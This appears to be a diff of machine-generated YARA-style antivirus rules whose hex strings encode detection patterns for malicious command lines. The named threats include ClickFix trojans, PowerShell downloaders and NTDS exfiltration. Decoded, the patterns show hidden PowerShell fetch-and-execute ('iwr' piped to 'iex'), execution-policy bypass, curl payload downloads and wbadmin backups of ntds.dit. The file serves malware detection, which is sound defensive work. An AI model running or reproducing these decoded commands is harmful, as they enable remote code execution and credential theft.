79 00 01 00 22 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 01 00 06 00 69 00 77 00 72 00 0a 00 27 02 68 00 74 00 74 00 70 00 90 02 02 3a } //105 + $a_2e_3 = {90 02 06 2e 00 90 } //656 + $a_00_4 = {90 02 06 2f 00 90 00 00 00 d7 e8 00 00 06 00 06 00 06 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 53 75 73 70 4c 6f 6c 62 69 6e 4c 61 75 6e 63 } //1538 + $a_21_5 = {75 6e 64 6c 6c 33 32 00 05 00 1c 00 5c 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 00 00 01 00 2a 02 43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 } //11880 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*105+(#a_2e_3 & 1)*656+(#a_00_4 & 1)*1538+(#a_21_5 & 1)*11880) >=131 + +} +rule _InfrastructureShared_28055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_46_0 = {57 69 6e 33 32 2f 53 75 73 70 4c 6f 6c 62 69 6e 4c 61 75 6e 63 68 2e 41 21 72 75 6e 64 6c 6c 33 32 00 05 00 1c 00 5c 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 00 00 01 00 2a 02 43 00 3a 00 5c 00 } //21283 $a_00_1 = {6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 5c 00 90 2e 04 00 90 2f 20 00 2e 00 90 00 01 00 2c 02 43 00 3a 00 5c 00 55 00 73 00 65 00 72 00 73 00 5c 00 50 00 75 00 62 00 6c 00 69 00 63 00 5c 00 90 2e 04 00 90 2f 20 00 2e 00 90 00 f6 ff 08 00 2e 00 64 00 6c 00 6c 00 f6 ff 10 00 20 00 73 00 68 00 65 00 6c 00 6c 00 33 00 32 00 f6 ff } //80 - $a_00_2 = {73 00 77 00 6f 00 72 00 6b 00 73 00 70 00 61 00 63 00 65 00 00 00 d7 e9 00 00 05 00 05 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 4a 00 01 00 0c 00 2d 00 73 00 70 00 6c 00 69 00 74 00 01 00 0a 00 2d 00 6a 00 6f 00 69 00 6e 00 01 00 12 00 73 00 75 00 62 00 73 00 74 00 72 00 69 00 6e 00 67 00 01 } //22 - $a_00_4 = {72 00 65 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 7b 00 24 00 5f 00 7d 00 01 00 64 00 66 00 6f 00 72 00 65 00 61 00 63 00 68 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 7b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 5b 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 74 } //104 + $a_00_2 = {73 00 77 00 6f 00 72 00 6b 00 73 00 70 00 61 00 63 00 65 00 00 00 d7 e8 00 00 65 00 65 00 14 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 41 47 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 04 00 3d d8 e0 df 01 00 06 00 20 00 05 27 20 00 01 00 04 00 3e d8 } //22 + $a_00_3 = {06 } //-8938 + $a_00_5 = {04 } //32 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*80+(#a_00_2 & 1)*22+(#a_00_4 & 1)*104) >=6 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*80+(#a_00_2 & 1)*22+(#a_00_3 & 1)*-8938+(#a_00_5 & 1)*32) >=6 } -rule _InfrastructureShared_26417{ +rule _InfrastructureShared_28056{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 14 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 4a 00 01 00 0c 00 2d 00 73 00 70 00 6c 00 69 00 74 00 01 00 0a 00 2d 00 6a 00 6f 00 69 00 6e 00 01 00 12 00 73 00 75 00 62 00 73 00 74 00 72 00 69 00 6e 00 67 } //21283 - $a_00_2 = {65 00 72 00 65 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 7b 00 24 00 5f 00 7d 00 01 00 64 00 66 00 6f 00 72 00 65 00 61 00 63 00 68 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 7b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 5b 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 74 00 } //119 - $a_00_3 = {6e 00 74 00 33 00 32 00 28 00 24 00 5f 00 2c 00 31 00 36 00 29 00 29 00 7d 00 00 00 d7 e9 00 00 12 00 12 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 77 65 72 73 68 65 6c 6c 43 6f 6d 6d 61 6e 64 2e 5a 5a 00 0a 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 } //111 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 41 47 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 04 00 3d d8 e0 df 01 00 06 00 20 00 05 27 20 00 01 00 04 00 } //21283 + $a_dd_1 = {00 06 00 20 00 14 27 20 00 01 00 04 00 3d d8 e2 df 01 00 04 00 47 } //-10178 + $a_01_2 = {00 08 00 3d d8 4d dc 3c d8 fb df 01 00 04 00 3c d8 97 dd 01 00 06 00 20 00 f3 23 20 00 01 00 04 00 3d d8 e9 df 01 00 04 00 3c d8 df 10 01 00 04 00 d8 3d dd 13 01 00 06 00 20 00 a1 26 20 00 01 00 04 00 3d d8 a2 dc 01 00 04 00 3c d8 93 dd 01 00 04 00 3e d8 e9 dd 01 00 04 00 3d d8 ac dc 01 00 04 00 3d d8 80 de 01 00 04 00 a1 27 0f fe 00 00 d7 e8 00 00 82 00 82 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 45 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 20 00 2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 50 00 61 00 72 00 73 00 69 00 6e 00 67 00 0a 00 38 00 5b 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 } //3879 + $a_00_4 = {34 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 0a 00 40 00 5b 00 54 00 65 00 78 00 74 00 2e 00 45 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 5d 00 3a 00 3a 00 } //101 + $a_00_5 = {46 00 38 00 2e 00 47 00 65 00 74 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 00 00 d7 e9 00 00 12 00 12 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 77 65 72 73 68 65 6c 6c 43 6f 6d 6d 61 6e 64 2e 5a 5a 00 0a 00 1c 00 70 00 } //85 + $a_00_6 = {65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 05 00 47 02 2d 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 90 02 0a 28 00 90 02 0a 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 90 02 0a 2d 00 55 00 72 00 69 00 90 00 02 00 30 00 20 00 2d 00 45 00 78 00 65 00 63 00 75 00 74 00 69 00 } //111 + $a_00_7 = {50 00 6f 00 6c 00 69 00 63 00 79 00 20 00 62 00 79 00 70 00 61 00 73 00 73 00 01 00 16 00 20 00 2d 00 6e 00 6f 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 00 00 d7 e9 00 00 f5 01 f5 01 07 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 50 6f 77 64 6f 77 2e 52 50 21 4d 54 42 00 64 00 1b 02 27 00 63 00 } //111 + $a_01_8 = {23 75 00 90 23 } //9104 + $a_72_9 = {90 23 05 01 23 6c 00 90 00 64 00 13 02 74 00 70 00 73 00 3a 00 90 23 05 01 23 2f 00 2f 00 90 00 64 00 20 } //261 + $a_00_11 = {6c 00 61 00 63 00 65 00 28 00 27 00 23 00 27 00 2c 00 27 00 27 00 29 00 64 00 0d 02 69 00 65 00 90 23 05 01 23 78 00 90 00 64 00 11 02 2e 00 63 00 6f 00 90 23 05 01 23 6d 00 2f 00 90 00 01 00 15 02 63 00 65 00 6e 00 90 23 05 01 23 74 00 72 00 61 00 6c 00 90 00 01 00 1e 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 } //101 + $a_00_13 = {00 00 d7 ea 00 00 02 00 02 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 75 72 6c 44 6f 77 6e 2e 53 41 00 01 00 7f 02 63 00 75 00 72 00 6c 00 90 02 ff 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 90 02 ff 73 00 63 00 72 00 65 00 65 00 6e 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 2e } //32 + $a_00_15 = {6e 00 74 00 73 00 65 00 74 00 75 00 70 00 2e 00 65 00 78 00 65 00 90 02 10 3f 00 65 00 3d 00 61 00 63 00 63 00 65 00 73 00 73 00 26 00 79 00 3d 00 67 00 75 00 65 00 73 00 74 00 90 00 01 00 20 00 63 00 3a 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 9c ff 18 00 } //105 + $a_00_16 = {5c 00 6b 00 77 00 6f 00 72 00 6b 00 69 00 6e 00 67 00 5c 00 00 00 d7 ea 00 00 14 00 14 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 50 6f 77 } //99 + $a_68_17 = {6c 6c 2f 53 6f 6e 69 63 4c 6f 6f 70 2e 42 21 64 68 61 00 0a 00 1c 01 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 0a 00 8c 01 2d 00 77 00 20 00 68 00 69 00 64 00 20 00 2d 00 6e 00 6f 00 70 00 20 00 20 00 2d 00 } //29285 + $a_00_18 = {22 00 5b 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 44 00 69 00 61 00 67 00 6e 00 6f 00 73 00 } //99 "[system.Diagnos + $a_00_19 = {63 00 73 00 2e 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 5d 00 3a 00 3a 00 53 00 74 00 61 00 72 00 74 00 28 00 27 00 6d 00 73 00 65 00 64 00 67 00 65 00 27 00 2c 00 27 00 66 00 69 00 6c 00 65 00 3a 00 2f 00 2f 00 00 00 d7 ea 00 00 6f 00 6f 00 15 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c } //116 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*119+(#a_00_3 & 1)*111) >=5 + ((#a_46_0 & 1)*21283+(#a_dd_1 & 1)*-10178+(#a_01_2 & 1)*3879+(#a_00_4 & 1)*101+(#a_00_5 & 1)*85+(#a_00_6 & 1)*111+(#a_00_7 & 1)*111+(#a_01_8 & 1)*9104+(#a_72_9 & 1)*261+(#a_00_11 & 1)*101+(#a_00_13 & 1)*32+(#a_00_15 & 1)*105+(#a_00_16 & 1)*99+(#a_68_17 & 1)*29285+(#a_00_18 & 1)*99+(#a_00_19 & 1)*116) >=101 } -rule _InfrastructureShared_26418{ +rule _InfrastructureShared_28057{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 45 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 20 00 2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 } //21283 + $a_00_1 = {72 00 73 00 69 00 6e 00 67 00 0a 00 38 00 5b 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 0a 00 40 00 5b 00 54 00 65 00 78 00 74 00 2e 00 45 00 6e 00 63 00 6f 00 64 00 69 } //80 + $a_00_3 = {3a 00 55 00 54 00 46 00 38 00 2e 00 47 00 65 00 74 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 00 00 d7 e9 00 00 12 00 12 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 } //93 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*80+(#a_00_3 & 1)*93) >=130 + +} +rule _InfrastructureShared_28058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,12 00 12 00 04 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 77 65 72 73 68 65 6c 6c 43 6f 6d 6d 61 6e 64 2e 5a 5a 00 0a 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 05 00 47 } //21539 $a_00_2 = {6d 00 61 00 6e 00 64 00 90 02 0a 28 00 90 02 0a 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 90 02 0a 2d 00 55 00 72 00 69 00 90 00 02 00 30 00 20 00 2d 00 45 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 50 00 6f 00 6c 00 69 00 63 00 79 00 20 00 62 00 79 00 70 00 } //111 - $a_00_3 = {73 00 01 00 16 00 20 00 2d 00 6e 00 6f 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 00 00 d7 ea 00 00 02 00 02 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 75 72 6c 44 6f 77 6e 2e 53 41 00 01 00 7f 02 63 00 75 00 72 00 6c 00 90 02 ff 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 90 02 ff 73 00 63 00 72 00 65 00 65 00 } //97 + $a_00_3 = {73 00 01 00 16 00 20 00 2d 00 6e 00 6f 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 00 00 d7 e9 00 00 f5 01 f5 01 07 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 50 6f 77 64 6f 77 2e 52 50 21 4d 54 42 00 64 00 1b 02 27 00 63 00 90 23 05 01 23 75 00 90 23 05 01 23 72 00 90 23 05 01 23 6c 00 90 00 64 00 13 02 74 00 } //97 condition: ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*111+(#a_00_3 & 1)*97) >=18 } -rule _InfrastructureShared_26419{ +rule _InfrastructureShared_28059{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,fffffff5 01 fffffff5 01 07 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 50 6f 77 64 6f 77 2e 52 50 21 4d 54 42 00 64 00 1b 02 27 00 63 00 90 23 05 01 23 75 00 90 23 05 01 23 72 00 90 23 05 01 23 6c 00 90 00 64 00 13 02 74 00 70 00 73 00 3a 00 90 } //21283 + $a_23_1 = {00 } //1315 + $a_00_2 = {64 00 20 00 2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 27 00 23 00 27 00 2c 00 27 00 27 00 29 00 64 00 0d 02 69 00 65 00 90 23 05 01 23 78 00 90 00 64 00 11 02 2e 00 63 00 6f 00 90 23 05 01 23 6d 00 2f 00 90 00 01 00 15 02 63 00 65 00 6e 00 90 23 05 01 23 74 00 72 00 61 00 6c 00 90 00 01 00 1e 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 77 00 20 00 68 00 00 00 d7 ea 00 00 02 00 02 00 03 } //47 + $a_53_3 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 75 72 6c 44 6f 77 6e 2e 53 41 00 01 00 7f 02 63 00 75 00 } //8448 + $a_00_4 = {90 02 ff 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 90 02 ff 73 00 63 00 72 00 65 00 65 00 6e 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 2e 00 63 00 6c 00 69 00 65 00 6e 00 74 00 73 00 65 00 74 00 75 00 70 00 2e 00 65 00 78 00 65 00 90 02 10 3f 00 65 00 3d 00 61 00 63 00 63 00 65 00 73 00 73 00 26 00 79 00 3d 00 67 } //114 + $a_00_6 = {90 00 01 00 20 00 63 00 3a 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 9c ff 18 00 63 00 3a 00 5c 00 6b 00 77 00 6f 00 72 00 6b 00 69 00 6e 00 67 00 5c 00 00 00 d7 ea 00 00 14 00 14 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 53 6f 6e 69 } //115 + condition: + ((#a_46_0 & 1)*21283+(#a_23_1 & 1)*1315+(#a_00_2 & 1)*47+(#a_53_3 & 1)*8448+(#a_00_4 & 1)*114+(#a_00_6 & 1)*115) >=501 + +} +rule _InfrastructureShared_28060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 21 " @@ -345505,7 +366765,7 @@ rule _InfrastructureShared_26419{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*99) >=2 } -rule _InfrastructureShared_26420{ +rule _InfrastructureShared_28061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 02 00 21 " @@ -345516,22 +366776,60 @@ rule _InfrastructureShared_26420{ ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*10) >=20 } -rule _InfrastructureShared_26421{ +rule _InfrastructureShared_28062{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 15 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 42 48 21 4d 54 42 00 64 00 0a 00 6d 00 73 00 68 00 74 00 61 00 0a 00 08 00 68 00 74 00 74 00 70 00 01 00 04 00 3d d8 e0 df 01 00 06 00 20 00 05 27 20 00 01 00 } //21283 + $a_d8_1 = {dd 01 00 06 00 20 00 14 27 20 00 01 00 04 00 3d d8 e2 df 01 00 04 00 47 27 0f fe 01 00 08 00 3d d8 4d dc 3c d8 fb df 01 00 04 00 3c d8 97 dd 01 00 06 00 20 00 f3 23 20 00 01 00 04 00 3d } //4 + $a_01_2 = {00 04 00 3c d8 df 10 01 00 04 00 d8 3d dd 13 01 00 06 00 20 00 a1 26 20 00 01 00 04 00 3d d8 a2 dc 01 00 04 00 3c d8 93 dd 01 00 04 00 3e d8 e9 dd 01 00 04 00 3d d8 ac dc 01 00 04 00 3d d8 80 de 01 00 04 00 a1 27 0f fe 00 00 d7 ea 00 00 dc 00 dc 00 08 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 41 41 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 08 00 68 00 74 00 74 00 70 00 64 00 08 00 20 00 69 00 72 00 6d 00 64 00 26 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 52 00 65 00 6d 00 6f 00 74 00 65 00 4d 00 65 00 74 00 68 00 6f 00 64 00 64 00 08 00 20 00 69 00 77 00 72 00 } //-5672 + $a_00_3 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 } //100 Invoke-WebRequest + $a_00_4 = {20 00 69 00 65 00 78 00 } //100 iex + $a_00_5 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 } //100 Invoke-Expression + $a_eb_6 = {00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 47 21 4d 54 42 00 01 00 48 00 5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 01 00 50 00 5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 54 00 65 00 78 00 74 00 2e 00 45 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 5d 00 3a 00 3a 00 55 00 54 00 46 00 38 00 2e 00 47 00 65 00 74 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 01 00 1b 02 29 00 3b 00 69 00 65 00 } //0 + $a_00_7 = {24 00 90 02 3c 7c 00 69 00 65 00 78 00 90 00 00 00 d7 eb 00 00 16 00 16 00 05 00 21 23 53 4c 46 } //120 + $a_6f_8 = {61 6e 3a 57 69 6e 33 32 2f 4e 74 64 73 45 78 66 69 6c 2e 4a 00 0a 00 0e 00 77 00 62 00 61 00 64 00 6d 00 69 00 6e 00 0a 00 47 02 73 00 74 00 61 00 72 00 74 00 20 00 62 00 61 00 63 00 6b 00 75 00 70 00 20 00 2d 00 62 00 61 00 63 00 6b 00 75 00 70 00 54 00 61 00 72 00 67 00 65 00 74 00 3a 00 5c 00 5c 00 [0-ff] 5c 00 63 00 24 00 5c 00 } //21562 + $a_02_9 = {2d 00 69 00 6e 00 63 00 6c 00 75 00 64 00 65 00 3a 00 [0-ff] 5c 00 6e 00 74 00 64 00 73 00 2e 00 64 00 69 00 74 00 } //1 + $a_80_10 = {5c 73 79 73 74 65 6d 33 32 5c 63 6f 6e 66 69 67 5c 73 65 63 75 72 69 74 79 } //\system32\config\security 1 + $a_80_11 = {5c 73 79 73 74 65 6d 33 32 5c 63 6f 6e 66 69 67 5c 73 79 73 74 65 6d } //\system32\config\system 1 + $a_ec_12 = {00 04 00 04 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 56 69 61 72 75 6e 73 63 72 69 70 74 68 65 6c 70 65 72 2e 41 00 04 00 b2 00 72 00 75 00 6e 00 73 00 63 00 72 00 69 00 70 00 74 00 68 00 65 00 6c 00 70 00 65 00 72 00 2e 00 65 00 78 00 65 00 20 00 73 00 75 00 72 00 66 00 61 00 63 00 65 00 63 00 68 00 65 00 63 00 6b 00 20 00 5c 00 5c 00 3f 00 5c 00 43 00 3a 00 5c 00 54 00 65 00 73 00 74 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 44 00 69 00 61 00 67 00 6e 00 6f 00 73 00 69 00 73 00 5c 00 73 00 63 00 72 00 69 00 70 00 74 00 73 00 5c 00 74 00 65 00 73 00 74 00 2e 00 74 00 } //0 + $a_00_13 = {20 00 43 00 3a 00 5c 00 54 00 65 00 73 00 74 00 00 00 d7 ec 00 00 2a 00 2a 00 09 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 50 43 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 32 00 2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 50 00 61 00 72 00 } //120 + $a_00_14 = {6e 00 67 00 29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 0a 00 06 00 69 00 77 00 72 00 0a 00 06 00 69 00 65 00 78 00 01 00 0c 00 68 00 69 00 64 00 64 00 65 00 6e 00 01 00 0a 00 68 00 74 00 74 00 70 00 73 00 01 00 10 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 01 00 0c 00 62 00 79 00 70 00 61 00 73 } //115 + $a_00_17 = {69 00 66 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 00 00 d7 ed 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 48 21 4d 54 42 00 01 00 63 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 20 69 00 77 00 72 00 90 02 20 68 00 74 00 74 00 70 00 3a 00 2f 00 } //101 + $a_02_18 = {06 2e 00 78 00 39 00 30 00 02 06 2e 00 78 00 39 00 30 00 02 06 2e 00 78 00 39 00 30 00 02 06 2f 00 78 00 39 00 30 00 02 06 2e 00 6a 00 70 00 67 00 90 00 01 00 1a 00 57 00 53 00 63 00 72 00 69 00 70 00 74 00 2e 00 53 00 68 00 65 00 6c 00 6c 00 01 00 1c 00 76 00 62 00 73 00 63 00 72 00 69 00 70 00 74 00 3a 00 63 00 6c 00 6f 00 73 00 65 00 01 00 18 00 43 00 72 00 65 00 61 00 74 00 65 00 4f 00 62 00 6a 00 65 00 63 00 74 00 00 00 d7 } //47 + condition: + ((#a_46_0 & 1)*21283+(#a_d8_1 & 1)*4+(#a_01_2 & 1)*-5672+(#a_00_3 & 1)*100+(#a_00_4 & 1)*100+(#a_00_5 & 1)*100+(#a_eb_6 & 1)*0+(#a_00_7 & 1)*120+(#a_6f_8 & 1)*21562+(#a_02_9 & 1)*1+(#a_80_10 & 1)*1+(#a_80_11 & 1)*1+(#a_ec_12 & 1)*0+(#a_00_13 & 1)*120+(#a_00_14 & 1)*115+(#a_00_17 & 1)*101+(#a_02_18 & 1)*47) >=111 + +} +rule _InfrastructureShared_28063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffdc 00 ffffffdc 00 08 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 41 41 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 08 00 68 00 74 00 74 00 70 00 64 00 08 00 20 00 69 00 72 00 } //21283 $a_00_1 = {26 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 52 00 65 00 6d 00 6f 00 74 00 65 00 4d 00 65 00 74 00 68 00 6f 00 64 00 64 00 08 00 20 00 69 00 77 00 72 00 64 00 22 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 64 00 08 00 20 00 69 00 65 00 } //109 - $a_00_2 = {22 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 00 00 d7 eb 00 00 16 00 16 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 74 64 73 45 78 66 69 6c 2e 4a 00 0a 00 0e 00 77 00 62 00 61 00 64 00 6d 00 69 00 6e 00 0a 00 47 } //120 - $a_00_4 = {74 00 20 00 62 00 61 00 63 00 6b 00 75 00 70 00 20 00 2d 00 62 00 61 00 63 00 6b 00 75 00 70 00 54 00 61 00 72 00 67 00 65 00 74 00 3a 00 5c 00 5c 00 90 02 ff 5c 00 63 00 24 00 5c 00 90 00 01 00 29 02 2d 00 69 00 6e 00 63 00 6c 00 75 00 64 00 65 00 3a 00 90 02 ff 5c 00 6e 00 74 00 64 00 73 00 2e 00 64 00 69 00 74 00 90 00 01 00 19 80 01 5c } //97 - $a_74_5 = {6d 33 32 5c 63 6f 6e 66 69 67 5c 73 65 63 75 72 69 74 79 01 00 17 80 01 5c 73 79 73 